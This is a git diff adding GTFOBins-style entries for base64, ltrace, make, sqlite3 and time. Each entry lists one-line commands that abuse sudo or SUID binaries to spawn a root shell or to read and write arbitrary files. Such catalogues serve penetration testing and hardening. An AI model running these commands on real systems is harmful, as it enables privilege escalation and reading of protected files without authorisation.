diff --git a/_gtfobins/base64.md b/_gtfobins/base64.md new file mode 100644 index 0000000..2dd7844 --- /dev/null +++ b/_gtfobins/base64.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo base64 "$LFILE" | base64 --decode + suid-enabled: + - code: | + LFILE=file_to_read + ./base64 "$LFILE" | base64 --decode + file-read: + - code: | + LFILE=file_to_read + base64 "$LFILE" | base64 --decode +--- diff --git a/_gtfobins/ltrace.md b/_gtfobins/ltrace.md new file mode 100644 index 0000000..f7b420b --- /dev/null +++ b/_gtfobins/ltrace.md @@ -0,0 +1,7 @@ +--- +functions: + execute-interactive: + - code: ltrace -b -L /bin/sh + sudo-enabled: + - code: sudo ltrace -b -L /bin/sh +--- diff --git a/_gtfobins/make.md b/_gtfobins/make.md new file mode 100644 index 0000000..c5ab66a --- /dev/null +++ b/_gtfobins/make.md @@ -0,0 +1,33 @@ +--- +description: | + All these examples only work with GNU `make` due to the lack of support of the + `--eval` flag. The same can be achieved by using a proper `Makefile` of by + passing the content via stdin, that is: + + ``` + make -s --eval= + ``` + + becomes: + + ``` + make -s -f <(echo ) + ``` +functions: + execute-interactive: + - code: | + COMMAND='/bin/sh' + make -s --eval=$'x:\n\t-'"$COMMAND" + sudo-enabled: + - code: | + COMMAND='/bin/sh' + sudo make -s --eval=$'x:\n\t-'"$COMMAND" + suid-enabled: + - code: | + COMMAND='/bin/sh' + ./make -s --eval=$'x:\n\t-'"$COMMAND" + file-write: + - code: | + LFILE=file_to_write + make -s --eval="\$(file >$LFILE,data)" . +--- diff --git a/_gtfobins/sqlite3.md b/_gtfobins/sqlite3.md new file mode 100644 index 0000000..f9ad23f --- /dev/null +++ b/_gtfobins/sqlite3.md @@ -0,0 +1,21 @@ +--- +functions: + execute-interactive: + - code: sqlite3 /dev/null '.shell /bin/sh' + sudo-enabled: + - code: sudo sqlite3 /dev/null '.shell /bin/sh' + suid-limited: + - code: ./sqlite3 /dev/null '.shell /bin/sh' + file-write: + - code: | + LFILE=file_to_write + sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";' + file-read: + - code: | + LFILE=file_to_read + sqlite3 << EOF + CREATE TABLE t(line TEXT); + .import $LFILE t + SELECT * FROM t; + EOF +--- diff --git a/_gtfobins/time.md b/_gtfobins/time.md new file mode 100644 index 0000000..91c6290 --- /dev/null +++ b/_gtfobins/time.md @@ -0,0 +1,12 @@ +--- +description: | + Note that the shell might have its own builtin time implementation, which may + behave differently than` /usr/bin/time`, hence the absolute path. +functions: + execute-interactive: + - code: /usr/bin/time /bin/sh + sudo-enabled: + - code: sudo /usr/bin/time /bin/sh + suid-enabled: + - code: ./time /bin/sh -p +---